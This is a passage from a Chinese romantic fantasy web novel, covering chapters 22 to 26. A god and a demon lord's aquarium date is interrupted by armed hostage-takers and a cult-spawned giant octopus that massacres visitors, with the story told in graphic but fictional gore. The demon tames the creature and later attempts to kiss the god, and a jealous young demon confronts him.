几只扁平的蝠鲼从他们面前悠哉悠哉路过,平坦伸展的胸鳍让它们看起来哪怕在海中也仍可飞翔。
魔鬼想到什么好笑的事儿,低头在神明耳畔道:“您知道吗,它们还有另一个名字,叫做‘魔鬼鱼’,因为许多人认为它们突出的头鳍就像魔鬼的角一样——您觉得像吗?”
诸神之神还没有见过地狱之主的原身,想来也是和大多数魔族一样长着山羊形状的角。
祂没有回答,倒是想起另一只小恶魔,以及他那对卷卷的、特立独行的绵羊角。
“不要在和我约会的同时想着别人啊。”魔鬼似乎看穿了祂心中所想,似笑非笑,“那对我也太残忍了,亲爱的……”
他把“陛下”两个字念得极轻,几乎像是省略。
神明自然不会理会他的戏弄,可也不免暗自心惊。
若不是魔鬼刚才的话,祂甚至都没有意识到,自己一直有意无意地想着撒迦利亚。
想小崽子消没消气。
想他和这位同族的首领有哪些相似与不同。
想如果小孩知道了今天自己丢下他出来和这家伙在一块儿,会是什么反应。
可即便挂念着那孩子,祂也没有过中断约会、先行离开的打算。
纠结、权衡、贪心、偏爱、取舍、两难全……这软弱无用的情绪原本只属于人类。
而祂陷在与两个恶魔的周旋之间,雾里看花,竟也隐约触碰到一点柔软的边角。
不见城果然是个诡异之地。
祂每一次进入此地都会感到自我微妙的变化,在这里待得越久,就越像人类。
魔鬼还保持着那个低头望着祂的姿势,祂一转脸,耳尖差点擦过他的唇边。
若有似无的冷淡香气截断这个毫厘之差的吻,神明抿了抿嘴,竟没能说出原本要讲的话来。
这样粘滞的、交错深蓝光影中过分暧昧的氛围,倒是正中魔鬼的下怀。
他眨了下眼,轻轻呼唤:“亲爱的……”
“陛下”二字还未说出,也可能是故意拖着没说,变故陡生。
“——不许动!所有人举起手来!”
伴随着怪异的、碰撞般的闷响,原本松散的人群像滴进水的油锅,顿时炸开。
一伙蒙面持枪劫匪占领了章鱼馆。
……不是吧。
即便是地狱之主,也对人类的drama程度目瞪口呆。
一年就这么一次约会,还能遇上这种别出心裁的搅局?
当事人就是无语,非常无语。
尖叫声此起彼伏,绑匪不耐烦地举起枪朝天花板突突两下,所有人顿时被镇住。
手无寸铁的人们不得不按照绑匪的要挟集中、抱头蹲下,那些原本用来围着游客不要太过靠近水族箱的围栏,此刻成了他们自己的临时囚笼。
为首的那个掂量了下这点儿震慑程度还不够,左右瞟了瞟,随手拽出个外圈的小孩当人质。
神明和魔鬼都认出了她——那个在水母馆里遇到过的名叫苔丝的小女孩,他们还为她献上一场海月水母的特殊表演——严格来说是为了彼此。
苔丝爸爸跪在地上乞求:“求求你们放过我女儿,我、我给你们当人质!我绝对不会跑,求求你们了……”
绑匪当然不会答应他的请求,正要抱着孩子换个地方,没料到他竟然扑了上来,然后毫不意外地被枪托砸晕了。
小小的孩子连哭泣的本能都忘记,已经吓呆了。
“这么点儿大的孩子也劫持,这群人真是魔鬼心肠。”真正的魔鬼摇摇头,“陛下不打算管管?”
神明漠然:“这是人类内部的纷争。”
别说神主本人了,就算整个神域所有神官加起来,也不可能管每一个碎片世界的每一次冲突。一来,根本做不到;二来,职责是维系而非干涉,这是所有神都需要牢牢记住的准则。
但
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地狱之主不受神界清规戒律管辖,他可看不得别人在这儿拽得二五八万地充老大,尤其充老大的代价还是自己得蹲着——模仿、学习、适应人类的约会里可不包括这一条。
神明看出他所想,按住他胳膊:“别……”
魔鬼反手捉住祂的手腕,手指在那冰凉的掌心里轻轻搔了下,翘起嘴角:“放心,我不会太欺负他的。”
那是一种名为“痒”的、格外特殊的触觉。
自手心被魔鬼的指尖碰到的那么一丁点儿皮肤为圆心向外扩散,震荡起绵延不绝的涟漪。
神明下意识攥紧拳,又重新张开。
他们在意外发生的瞬间隐去身形,魔鬼这时候重新现身,但场面太过混乱,谁也没注意到凭空多出个人。
但数百个蹲下的人中忽然冒出个站起来的,就很扎眼了。
“哎,先生们,这样不好吧。”魔鬼“啧”了一声,懒散地活动了下脖子,“我正在追我的心上人呢,你们很破坏氛围。”
绑匪没想到还有人能这么镇定自若,用枪指着他凶狠道:“老实蹲下!别乱动!子弹可是不长眼的!”
地狱之主还不至于受人类和人类武器的威胁,漫不经心道:“哎,咱们商量一下嘛,你想想看,我的心上人要是因为这个插曲给本次约会打差评,进而影响到对我整个人的评估,我可是会很难过的。”
绑匪膛目结舌:这人在说什么?不是缺心眼吧?
一时间所有人的目光都汇集过来,哪怕没有聚光灯,魔鬼也成了绝对的主角。
绑匪怀里的小女孩也认出了他,眼睛睁得圆圆的。
魔鬼冲苔丝笑了笑,还做了个比心的手势。
也许是见他控制了局面,也许是他的淡定让劫匪愈发显得虚张声势,竟然有其他人也大着胆子跟着帮腔:
“是啊,我好不容易才请了年假来!”
“你知道小孩上学请天假有多不容易么?”
“买一赠一的票我抢了好久来着……”
“我们现在是法治社会,不会放过这种恶劣的犯罪行为的!”
一时间,人群七嘴八舌抱怨起来,完全不似被劫持现场,更像清早的菜市场。
绑匪哪儿能料到这样离谱的发展,这……这完全是对他们专业团队的侮辱!
为首的那个恼羞成怒,枪抵着小孩:“都给我安静!不然我立刻崩了她!”
在场没有任何人认识这个孩子,唯一带她来的家长至今还晕倒在地上。可人类对种族延续的重视、对幼崽的共同保护是从古至今刻在基因中的,没人想要因为自己的多嘴伤了一条幼小的性命,躁动的人群立即静默下来。
魔鬼对人类幼崽——或者任何一个人类——倒不会有特别的怜悯之心,可这孩子间接促成了那场水母烟花雨,他大可以认定那是神明赐予自己的礼物,值得珍藏和纪念到下一次约会。
冲着这一点,举手之劳未尝不可。
他不再跟绑匪打嘴仗,慢悠悠盘腿坐下,双手撑在地上,惬意地好似欣赏舞台剧。
这个莫名其妙的人总算消停了,绑匪松了口气,手上的枪握得更紧,警惕地盯着眼前人群,生怕再出个胡搅蛮缠的家伙。
他根本不会留意背后。
厚度近一米的展示窗能承受巨大水压,材质接近防弹等级,别说普通的小鱼小虾,就是来头鲸往上撞也不会有多大影响。
他把背后留给海洋生物们,比留给同伙更安全。
所以他不会注意到,原本就光线匮乏的章鱼馆兜头而下大片浓重阴翳,澄澈的水体陷入浑浊,不会看见所有的鱼虾龟都在惶惶奔逃,不会留意到隔音的亚克力墙之后,有什么迟来地,终于缓缓出现。
神明突然明白了早些时候魔鬼说的那句话。
人类强烈的情绪是孕育中的异神最好的养料,无论正面还是负面。
因此,能够充当祭品的不仅是憧憬、尊敬、景仰,也可以是——
——恐惧。
23.第 23 章
三岁的小苔丝出生在不见城一个普通的单亲家庭里,从记事起,她就只见过冬天和黑夜,想象不出儿歌与图画本中描述的关于春暖花开与风和日丽的场景。
今天爸爸带她来海洋馆,对于这个年纪的小朋友来说,水生动植物的美丽远远比不上黑暗环境带来的恐惧,她一路上兴致都不高。
苔丝很喜欢水母,在水母馆总算露出今天的第一个笑容,也以最近的距离见证了无数水母在她背后舞蹈。那一刻,爱看动画片的小姑娘也成了童话里被动物环绕的小公主。
她早就注意到爸爸旁边那两个很好看的哥哥,他们长得太好看了,任谁见了都移不开眼。
她还亲眼看见其中个子更高、表情更丰富的那个哥哥指挥了小水母们跳舞——可惜,爸爸没有相信她的说辞,三岁的小幼崽分不清幻想和现实是很常有的事儿。
苔丝也没太过纠结,和小水母玩儿够之后,又跟着爸爸去了最大的那个场馆,据说里面有特别厉害的大章鱼。
她还没有见到大章鱼,一切急转直下。
小姑娘不明白什么是绑匪,什么是枪,什么又是劫持,但亲眼看见最依赖的爸爸被打昏,哪怕先前指挥水母的那个哥哥再度站出来,也没能扭转局势。
年幼的孩子被迫与唯一的亲人分别,可这并不是悲剧的最高点。
她听见了。
「呜……来吧……」
有人在说话。
谁?谁在说话?
被枪指着的人们瑟瑟发抖蜷缩成一团,谁也不敢做那个出头鸟;绑匪们烦躁地踱来踱去,各有各的不安,同样没有交流的兴致。
所以,是谁在说话?
「我的孩子。新世界欢迎你的到来。」
又出现了。
声音好像是从背后传来的,小苔丝扭了扭向往后看,抱着她的绑匪头子正拧着眉在手机上敲敲打打什么,没空在意一个毫无反抗能力的幼崽。
她顺利地面向展示窗,嘴巴张成一个小小的“o”型。
爸爸说过,大章鱼在城堡里睡觉,睡醒了就会出来跟她打招呼。此前她骑在爸爸肩上伸长脖子看啊看,怎么也瞧不着城堡里有什么,只有浓浓一团黑。
而这团铺天盖地的黑,不知何时来到眼前。
尽管几百个被劫持的游客正对着巨幅水族缸,竟然没有一个人看见这庞大的阴影是怎么现身的,仿佛凭空出现,无声无息,却叫全场感到了喘不过气的压迫感。
场馆里的灯光不知何时全灭了,只剩下靠近亚克力墙顶端的一束。它在几次短路似的闪动后稳定下来,一只布满吸盘大的粗壮触腕骤然袭来——
一墙之隔,它还不能肆意行动,清澈的水被搅得浑浊不堪,黏腻的滑动声好似穿透亚克力钻进耳膜中,甚至要顺着耳道扯出每个聆听者的心脏。
无需任何提示,人群这回连呼吸声都没有了。
很快,水中摇曳的光线下,另一只触手也探了过来,像客人上门一样轻轻敲了敲墙。
如果那不是一条直径堪比成年人身高的章鱼触腕,这模样看起来还挺有礼貌的。
深海泛起点点微光,很快连成一大片。
起初柔和,逐渐明亮起来,最后在辉煌的光中,一只巨大的眼睛缓缓睁开。
此前四散奔逃的小鱼小虾们好似得到了新指令,齐齐簇拥在巨兽身边。
哪怕它们中的很多连眼睛都没进化出来,此刻却给人一种强烈的错觉——他们正被冷冰冰的、可怖的目光注视着,凝视着,监视着。
目睹这样震撼而诡谲的一幕,数百人鸦雀无声,心脏快要跳出喉咙口。
理智告诉他们现在应该立刻逃跑,什么枪不枪、绑匪不绑匪的,跟这位比起来危险程度九牛一毛;可实际上再怎么使劲儿,身体动弹不得半分。
挟持苔丝的那个绑匪头子一直背对着展示窗,避开了与章鱼的视线接触,竟是唯一一个没有受到影响的。
这位天选之子后知后觉从手机聊天关于分赃不均的吵架中抬起头,看见所有人对着自己嘴唇颤抖、惊恐万分,还困惑自己长得有那么吓人吗?
滴答。滴答。
他的脚边多了一滩水。
怎么才建的新馆子空调也漏水?
他正想抬头查看,有谁从背后拍了拍他。
绑匪怔了下,他一直背对着水族箱,没有人质挪过位置,同伴们也分散在不同角落,怎么会有人拍自己呢?
还是用那种很熟稔的、大街上遇到熟人的打招呼方式。
跟自己在一块儿的只有那个小女孩,可她此刻跟自己大眼瞪小眼,双手规规矩矩放在他能看见的地方,带着符合年龄的无辜和惶恐,不像能恶作剧的样子。
他感到一阵无名的暴躁:“老实点儿。”
小苔丝紧张地抓住他的袖子,张张嘴。
声音太轻,他没听见,不耐烦地把耳朵凑过去:“什么?大点声!”
“叔叔。”幼崽的小奶音软绵绵的,用着最天真的语气讲着最可怖的话语,“它在找你。”
“谁?谁找我?你这个小丫头——”
绑匪的骂骂咧咧戛然而止。
因为他的胸前突然破了个大洞,漏风的情况下是没办法发声的。
绑匪的大脑转动地很迟缓,低头看见自己的血液喷溅而出,像电影里的慢动作,连带出的脏器碎肉都清晰可见。
这是……
怎么了?
是自己吗?
可是为什么……?
下一刻,一条快要比他还要粗壮的腕足从他被开膛破肚的身体里缓缓钻出来,布满吸盘的尖尖还愉快地晃了晃,像在跟他说嗨,你好,我来啦。
绑匪终于连上前因后果。
那个拍自己肩膀的,还有小女孩口中说要找自己的,不是人类,而是它啊。
它是……
有人在尖叫。
“吃……吃人……章鱼吃人了!!!”
可他什么都听不见了。
才买两天的最新款手机啪嗒摔在地上,昂贵但脆弱的屏幕摔出蛛丝裂纹。但没有人会去关心它了。
*
直到馆内的水已经淹到脚踝,巨幅亚克力板仍然没有出现明显的裂痕。
它对章鱼没有起到任何阻拦效果,触手像是钻出一片雾那样毫不费力地钻出来,一条,两条,三条……
海水混合着新鲜的血液,还有许多被吓出的不明液体,刺鼻得很,魔鬼倒是很习惯这种气味,这不就是地狱最常见的景象嘛——不仅是血海,还有尖厉的哭声、呼救、求饶。
此前一直静悄悄的章鱼总算展现真面目,挥舞着有力的触腕大开杀戒。或者说大快朵颐它的自助餐。
它的触手远不止人类认知中的八条,根本数不胜数。看着笨重其实灵活得很,
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轻而易举扫荡一大片,吸盘胜过任何工业胶水,把弱小的猎物牢牢地捞进盘中。
不仅是章鱼,那些平日里安静无害的小鱼小虾也翻身站在了食物链上游,哪怕体型没什么改变,也不影响它们从一根手指、一只耳朵开始,一点点蚕食人类。
神明浮在血腥和恐惧之上,眉头紧锁。
那个大家伙的触手之多、消化之快,让它看起来不像章鱼,更像是……
藤蔓。
不用说,这又是渎神会的杰作。
先是“银色山泉号”,又是海洋馆,伴着永夜和茧,他们为了孵化异神的所作所为已经超过了碎片世界自我调节的界限。
偶尔一两次事故还可视为内部事务,然而他们太不知收敛、太自以为是,严重干扰到世界正常运行,就是祂的管辖范围了。
只是,根据神域种种管理条例,在祂亲自介入之前,尚需多重层级手续。
祂的力量过于庞大,若是碎片世界原本就处在动荡、孱弱的状态,极有可能因承受不住祂的神力而彻底崩裂,直至灰飞烟灭。
这是连祂都无法把握、无法预知之事,不可轻举妄动。
更谨慎的做法是命下级神官来处理,对这个碎片世界有了解、又有类似应对经验的是……
“我知道您不能违背一些事情。”魔鬼打断祂的思绪,柔声道,“那就让我来吧。”
地狱之主可没有条条框框的限制,他做事的准则只有一个:随心所欲。
神明的蓝眼睛看向他,比想象中还要平静一些:“条件。”
这可是魔鬼。魔鬼没那么好心,更不会做慈善。
魔鬼的每一桩交易,必然附有沉重的代价。
“唔……我还没想好。”魔鬼作沉思状,黑金异瞳变幻流光,“这样吧,就当陛下您欠我一次,怎么样?”
“别太过分。”神明并未权衡太久,“我答应你。”
无论是力量等级本身,还是对现状掌控程度,眼下都没有比地狱之主更适合的人选。
地狱之主得逞一笑:“当然,我亲爱的。”
他堂而皇之甩掉了“陛下”二字,而两个定语混合在一块儿成了别样的佻薄和暧昧。
他得到了诸神之神的承诺。
这完全可以让神主做出任何事,比如给地狱当压寨夫人,甚至让出神域的控制权。他知道,一旦神主答应就会做到。
从此,他在祂那里有了特权——哪怕只能使用一回。
他当然不会急于使用。究竟要如何兑现,还真得好好想一想。
神主遥视前方,面容冷峻,淡声命令道:“清除不安定因素。”
恶魔像见面时那样再度冲祂飞了个礼,笑意半是明晃晃的顽劣,半是隐秘但疯狂的贪恋:“遵命,我的陛下。”
姗姗迟来出场的「救世主」慢吞吞伸了个懒腰,活动活动手腕,再舒展舒展脖子——从神明的角度看得见他在做这件事时后颈的皮肤张开,露出森森白骨——而后踏着虚空闲庭信步,走到章鱼馆的正中央,漠然俯瞰逃窜的众生。
“早就说了嘛,不要破坏我的约会。”他抬起胳膊,像个万众瞩目的指挥家那样晃晃手指,陶醉在惨叫的背景音中,“不过,也谢谢你们给我这个在心上人面前表现的机会。”
他还有闲心扭头冲神明眨了眨眼。
“……就这样专注地看着我吧,我亲爱的。”
24.第 24 章
把地狱之主比喻成指挥家是没错的,随着他的双臂挥动,红着眼撕咬人类的鱼虾们瞬间被攫住动作,不可抗拒地缓缓飘起,像一个又一个零散的音符,在半空中排列成一段无声的旋律。
疯狂大章鱼看见会飞的两脚兽之后,先是下意识要像对付其他人那样把这个不知天高地厚的小子抽飞再卷起,触腕伸到一半又愣住。
不对。
这是……
它的嗅觉依靠腕足上数以千万计的感受细胞,通过探测化学物质进而分辨和定位猎物。
哪怕出了水灵敏度下降许多,还是很快反应过来这个叫每条触手都颤抖的气味的源泉。
那可不是普通的两脚兽。
不能吃。
否则会倒大霉的。
魔鬼还沉浸在自己的艺术之中,一边手指向上,一边手指向下,即将演奏到转调——
胳膊被谁讨好地抱住,还蹭了蹭,像只乖巧得不得了的小猫咪。
魔鬼勾起嘴角:“到现在才认出我来,是不是太慢了点?”
章鱼那粗壮得像承重柱的触腕此刻无比温顺,把自己当作绸带,绕着他转来转去。
“行了,别缠着我。”魔鬼嫌弃地甩了甩,“弄我一身水。”
触腕立刻缩回去,隔着几米的距离怯怯地等待他下一步指示。
魔鬼像摸摸狗头那样拍了拍它:“今天就到这儿吧,别吃了,有人看着呢。我都在人家面前夸下海口了。”
听不明白。触腕缓缓打出一个问号。
“好看吗?”他根本不在意它在想什么,笑微微的,很和煦的样子,“好看吧?那可是我看上的人。”
什么跟什么啊?触腕满头问号。
“我说话有这么难懂?”他不冷不热地瞥了它一眼。
这没有温度的目光让章鱼立刻有了强烈的危机感,抖得水族箱里的海水跟着翻涌,更多的小鱼小虾被晃晕吐了出来,叠在满地尸体上。
魔鬼的威压在上,它畏畏缩缩地利用触手做出摇头的动作。
“这就对了嘛。”魔鬼重新挂上亲切的笑容,“好了,干得不错,回去等嘉奖吧。”
章鱼如蒙大赦,带着一众小弟诚惶诚恐告退。
它们一一退回墙后,场馆内熄灭的灯光再度亮起,鱼儿们自在地游弋于缤纷的珊瑚丛间,巨兽窝回自己的巢穴,浑浊的海水重新变得镇静、清澈,连地上的血水也慢慢渗进下水道。
到头来,巨幅亚克力面板连个小洞都没多出来。
只有死不瞑目的断肢残骸,无声地证明着这里倾轧下怎样一场惨剧。
魔鬼掸了掸衣服上的水渍,闻了闻确保没有海鲜腥气后,施施然踏着虚空回到神明身边,做了个谢幕之礼。
“怎么样,对我的英雄救美——哦不,救您,还满意吗?”
他出手还算及时,救下了不少人。
幸存者们呆呆坐在地上,有的受了伤,有的完全傻掉了。人们的眼眶干涩,流不出泪。
“看起来,”神明顿了顿,环视四周,“一切都像你的预谋。”
先是策划今日的约会,领祂来到海洋馆,步步铺垫至章鱼馆,安排劫匪和章鱼的先后出场,再以救世主的姿态登场,为祂解决祂无法贸然出手的难题。
太顺畅了。
太刻意了。
太贴心了。
从头到尾像一场盛大的戏剧,主角、配角和导演早就定下,而祂是唯一的观众。
“我今天可是卯足了劲儿想在您面前表现一回。”魔鬼撇了撇嘴,那样高大的人此刻失落得像被雨淋湿的大狗,“救人可不是我的本性,我不是为了他们,完全是为了您;您还要这样误会我的用意吗?”
神明抿起嘴,没说话。
神魔殊途,祂不可能要求一个魔鬼懂得良善和慈悲,这一点早在相识之前两人就已心知肚明。
的确没有铁证断定这家伙打着自己的旗号作恶,反倒是他驯服章鱼、阻止惨剧扩大的一举一动,祂都看在眼里。
“想太多会累的,我的陛下。”魔鬼很善解人意似的,温柔劝解,“事情已经圆满解决了,不是吗?”
圆满吗?
的确救下了一些人。
但另一些人还是死去了。
对于那些人来说,再也没有什么“圆满”。
神明阖上眼,感到一丝从脚底盘旋而上的倦怠。
……不见城的后遗症,又开始了吗。
“对了,我有一个礼物要送您。”魔鬼的声音在耳边响起。
这倒是有些出乎神明的意料。
祂睁开眼,蓝眼睛干净得像没有半缕流云的青空。
“我先要……嗯找个……”
魔鬼一边说,一边到处看,在早就被打碎的纪念品商店里找到一个用来售卖的玻璃瓶,随手舀了点儿海水,而后摊开手掌放进去什么。
神明接过玻璃瓶。
是只海月水母。
只有手心那么大,伞体的腺体盘成蝴蝶结状,透明的身体泛着自箱灯漫出的蓝荧荧的光。
祂的指尖贴上杯壁,小家伙立刻游过来,抬起细弱的触手敲了敲玻璃,好像想碰碰祂。
神明捕捉到熟悉的气息:“这是……”
“唔,就是之前遇到的那个人类小孩,拍照,还有劫持。”魔鬼回想,“叫……肉丝?菜丝?”
“苔丝。”
“好的,苔丝。”魔鬼观察着祂的表情,“您好像很喜欢她。可惜我看到她的时候,她已经被水母吞噬了。”
神明垂眼看着这无辜的幼小生命,总是冷淡的眉目间隐隐有悲戚。
她,她的父亲,都丧生在这场袭击中。
除了他们,还有更多人,从踏进海洋馆的那一瞬间起,就成了被摆布的棋子。
这一切的源头,都是为了渎神会和他们拥趸的所谓异神。
若是继续放任,他们还要残害多少性命?
神主看似疏离无情,其实有一颗温柔慈悯的心,总是捡些无家可归的小幼崽回来养。
很久以前的一只鸟,一条鱼,后来的小绵羊,再到今日的小水母。
神明打开瓶盖,伸出手,淡淡的金光托着小水母从瓶子里飘出来,而后光芒形成一层流动的膜包裹着它,让它即便脱离水体也能活动自如。
神明合拢掌心,金光消散。
从此,小苔丝结束她作为人类的寿命,获得另一种永生。
*
榆盛苑。
楚情披着外套,双手抱着靠垫,坐在姜宵常常眺望的位置向外看。
别说他视力残缺,就算他是个正常人,不止息的风雪和没有尽头的夜也没什么好看的;但他就是一直认真地看着,颇为入迷。
他安静又漂亮,习惯了被他人、被自己当装饰品。
反正这个世界于他而言就是一个巨大的牢笼,哪里都逃不掉的。
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只是,如果牢笼唯一的钥匙在……
楚情突然站起来,喃喃道:“先生……”
他转过身,眼角弯起欢欣的弧度,像是在宣布重大喜讯:“先生,是先生回来了!”
瘫在沙发上玩游戏的卡布卡和正襟打坐的蜚蜚同时扭过头:“陛下回来了?”
紧闭多时的儿童房房门砰的一声被撞开,小少年连羊角都没收起来,顶着一头乱七八糟的头发,目光灼灼,像刚睡醒的狼崽子:“祂回来了?”
……说实在的,楚情有点怀疑他们的听力。
但他不怀疑自己的,所以在捕捉到撒迦利亚风一样冲向自己所站的方向时,他连忙向后退了几步让开。
的确是姜宵回来了。
不过,祂不是独自回来的。
有人送祂。
撒迦利亚恨不得和窗户融为一体,使劲儿贴在上面往下看。
视野有限,他勉强看得出是个个子很高、肤色很深的男人。离姜宵非常近,两个人从雪中走出来,几乎像是靠在一起。
即便隔这样远,少年也能感知到对方身上散发着自己同族的气息。
——另一个恶魔。
那人像是察觉到他的视线,漫不经心向上瞟了一眼。
撒迦利亚看到那双异色瞳时先是心里咯噔一下,而后看清男人的全貌,那份诧异陡然演变成了心惊。
——那张脸,分明就是长大后的自己!
男人完全不介意被他看见,嘴角带着一抹玩世不恭的笑意,向姜宵俯身。
完全是故意的。
他要干什么?
他要干什么!
少年肺都要气炸了。
这能忍吗?这当然不能忍!
卡布卡插在水果上的叉子都吓掉了:“哎小魔羊你要干什——”
来不及了。
少年利落地翻上窗台,没有一秒钟犹豫,就这么从几十层高楼跳了下去。
楼下。
险象环生的一日约会就要结束了。尚未分别,魔鬼已经开始不舍。
他活了几千年,三百多天不过弹指间,除非那是用来衡量每一次约会的间隔。
遗憾的是,看起来感到不舍的只有他一个。
神明有意无意看了好几次楼上的位置,似乎急着回家去。
或者,回去见家里的那个人。
地狱之主可没有那么大方,愿意将自己的心上人拱手让人。
更何况,一次完美的约会,总该有个难忘的结尾。
“我想到了。”他倾身,“那个承诺。”
此前,他帮助神明扫平章鱼馆里动荡,作为交换,神明答应他一个要求。
神明有些惊讶,祂以为他会把这个约定留存很久,日后再扔出平地惊雷。
但祂并不会把惊讶表现在脸上:“现在吗。”
“是的。”他余光瞥见从天而降的小少年跌落在厚厚的雪堆里,正狼狈地爬起来,微微一笑,“就现在。”
没有比现在更好的时刻。
没有比即将说出的更好的请求。
“……姜宵。”
这是魔鬼第一次呼唤神明的名字。
或是千万年间,第一次有谁直呼神主之名。
声音低得像情人间的呢喃,带着微微的蛊惑,一点忐忑与期待,和连自己都没有察觉的、近乎虔诚的迷恋。
我想吻你。
他说。
25.第 25 章
雨。尘埃。光。风。云影。这些凡间之物,从来不会真正落在神明身上,总是留有几寸距离,如同一层无形的隔膜,将祂与世界分割开来。
然而在魔鬼念出祂名字的刹那,一片剔透的雪花掉在祂的睫毛上,祂轻轻眨了下眼,它便顺着眼尾坠落,仿佛一滴未成形的泪。
明明是无声息的,却又那样动人。
魔鬼为这一幕感到无比着迷,痴痴望着雪落下的痕迹。最善于玩弄人心的种族,也会被谁深深引诱。
他向前倾身,左耳的蓝宝石悄然闪烁:“亲爱的,不说话就当你答应了。”
不仅省去了陛下二字,现在连“您”的尊称也换掉,愈发逾越,狼子野心昭然若揭。
无论何时,神明的蓝眼睛总是如同冻原冰湖,没有波澜。
即便在被预告要亲吻的此刻。
地狱之主那被剖出过、被撕烂过、被嚼碎过、又被重组的心脏,竟然鲜活而澎湃地跳动起来。
他抚上神明的脸颊,力道和缓而轻柔,像在对待一碰就碎的琉璃。
神明没有立刻阻止他的动作,垂下眼。从魔鬼的角度看过去,两排又长又密的浅色睫毛是最细小的羽翼。
若他不能攥于掌中,就会飞到再也够不着的远方。
我想让你成为我的。他想。
那是从很久很久以前,他对自己立下的誓言。
我会让你成为我的。
直到此时,神明依旧没有动作。
沉默也是一种回答,而魔鬼受到了它的鼓舞,终于低下头去。
那独属于神主的冷灵灵的香气潮水一样同时裹住两个人,推着他们越靠越近。低于魔族许多的体温被握在手里,从心脏到指尖都发麻。
魔鬼不禁分神想了一下,若神明是雪,会不会就此融化在他怀中?
在他即将以双唇为笼囚住那片雪时,神明抬起手,宛如一道帷幕隔在他们之间。
“我说过。”祂的声音既无恼怒,也并非被冒犯,只是近乎叹息,“……别太过分。”
魔鬼停下来。
他很清楚,那只瓷雕似的雪白纤细的手腕,实际上有着怎样撼天动地的力量。
别看现在好似只是虚虚挡着,若他真胆敢更进一步,祂完全能够在转瞬间完成对他脉络的侵入和控制,至高神光的灼伤足以让任何魔族魂飞魄散。
祂没有这么做,不是不能。
换做随便一个别的魔鬼,早该痛哭流涕、跪下请求原谅。
当然,换做其他人,也不会发生前面那些事——胆大包天到敢侵犯神主之人,天上地下,九天三界,也就这么一个地狱之主。
可他偏偏是地狱之主。桀骜不驯,无法无天。
他不贪生不畏死,最坏去处不过是地狱,而地狱本就是他的囊中之物。
更何况,他能如此恣意妄为的底气,本就来源于神明的偏爱——不拒绝本身就是一种允许和特权。
所以即使在神明出言打断的现在,他依旧没有选择撤退,只是暂停。有些关于平衡的拉扯中,一旦低头就是败北,而他在拥有祂的战争中永不会认输。
他从睫毛下抬眼对着神主狡黠一笑,以一个哪怕是人类都能轻松挣开的力道箍住祂的小臂,弯下腰,以啄吻的姿态,却是咬住祂的手腕。
如果是人类,这里遍布血管,能感受得到脉搏轻微的跳动。
而神明四散于身周的浅金色流光骤然集中于那一小块皮肤,绚烂到几乎灼目。
魔鬼不介意被烫伤。
神明竟因他能有此种程度的波动,就已经宣告他的大获全胜。
他乘胜追击,用尖尖的犬齿叼住那一点儿光滑细腻的皮肤研磨,好似品尝什么无上的美味,在神明想要收回手时加重舔咬的力道,哪怕伤不到祂、也留不下痕迹,那一瞬间的刺痛和紧接着的安慰般的吮吸,也成为独一无二的盖章。
神明这回是真的下了劲儿挣脱,魔鬼没有挽留,从善如流站直身,异色瞳笑盈盈地看着他,慢吞吞地、充满某种暗示地舔了舔嘴唇。
神明面无表情抽回手,但一直按着刚才被他咬过的地方。冰蓝的指甲边缘溢出细碎金光,仿佛止不住的血。
看起来没有那么淡定了呢,我的陛下。
地狱之主愉悦地想。
“生气了?”他好整以暇,“亲爱的,如果——”
“你在干什么!”
——魔鬼的假设没能说完,另一个小恶魔出现了。
满头、满身是雪的少年小豹子似的冲出来,挡在两个大人中间,对其中一个怒目而视,凶狠地龇牙:“离祂远点!”
“哎呀。”大人笑眯眯,丝毫不把他的威胁放在眼里,“这里还有个小鬼嘛。”
神明没料到这孩子会突然出现,也不知他看见了多少。
虽然严格来说大人刚才也没做什么少儿不宜的事儿,可祂很清楚小家伙的性格,一旦看见了绝不会罢休。
祂有点头痛,即便这是神族不该有的症状:“你……”
撒迦利亚转头看他,焦糖色的眼睛里半是急切,半是愤怒:“宵宵,他有没有把你怎么样?他对你做什么了?”
这时候又不喊哥哥了。是在宣示什么么。
神明揉了揉额角,这边的大麻烦还没处理完,又多了个小麻烦:“没有。”
的确没有。
即便真的有,也不能在这孩子面前承认。
小恶魔的成长速度惊人,短短一日不见,轮廓又变得更锐利些。眉眼带着青春期特有的、无可匹敌的朝气,光是看着就能想象得到日后该有多么俊美迷人。
然而在他不加掩饰的沮丧和难过时,又不过是个没长大的孩子,叫人忍不住心软。
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“不要乱想。”神明的掌心自他肩头虚虚拂过,拂开一层凝结的薄雪。
撒迦利亚不甘心:“可是……”
神明不说话了。
小孩悻悻闭上嘴。他不想惹祂不高兴。即便祂不会有“不高兴”这种过于“人类”的情绪。
地狱之主在神明背后幸灾乐祸地笑,还故意冲他露出尖牙——刚才咬过神明手腕的那几颗——他知道的,他全程都看见了。
心高气傲的小孩哪里受得了这种赤裸裸的挑衅,煤气罐似的一点就炸:“我杀了你!”
那不是一句口头上的威胁。
他真的会那么做的。
祂在看见他的目光时,就已经明了。
神明腕上的金光已经散去,却闷闷地堵在胸口。
眼前这个嗜血的小恶魔,还是祂的那只软糯乖巧的小羊羔吗?
还是说,无论祂怎样努力,怎样引导,怎样亲自照顾,他都注定走上那条偏离的、或是说回归本性的道路?
魔终究是魔。生来是魔,就永远是魔。
「赎罪」,是不是从一开始就是伪命题?
小少年看见祂目光那极细微的变化,心凉了半截。
完了,宵宵对我失望了。
什么情敌不情敌的先放一边儿,哄好心上人才是最重要的。撒迦利亚用上最拿手的招数,拉住神明衣角晃了晃,嗓音也软了下来:“哥哥……我不想乱发脾气的。你不要生我气,好不好?”
旁边的地狱之主目瞪口呆。
等会儿,还有这种操作吗?
他也能拿来用吗?不是这张稚嫩的脸蛋和青涩的语气,发挥出的效果会不会打折扣?这小子还真是把这份撒娇练得炉火纯青啊!
“没有。”神主道,“不可以这样。”
祂讲话向来简洁,主谓宾哪个都能省略。反正祂无需向任何人阐明自己,只有别人揣摩祂心思的份儿。
撒迦利亚跟在祂身边长大,早就摸透这种语言风格,毫无障碍地理解了。
他垂下头,怏怏道:“对不起,哥哥。”
地狱之主观察、琢磨、分析着他们的相处方式。典型的不动声色纵容的家长,和懂得利用优势步步紧逼的孩子。
虽说当大人有大人可以肆意跨越的界限,可是怎么看起来小孩也有小孩不一样的好处……嘶。
退回过去撤销一切发生是不可能了,但还可以改变未来。
“小鬼,我们谈谈。”他冲小孩招招手,很和善的样子,“作为魔鬼和魔鬼之间的谈话。”
言下之意,不能让神明听见。
撒迦利亚先是抬头看向神明,见后者表情没有变化,似是默认,才不情不愿走过去。
他压根一眼都不想多看那家伙。但有些话的确要当面谈一谈。
比如。
这人到底谁啊?
26.第 26 章
其实他以为祂会先回去的。
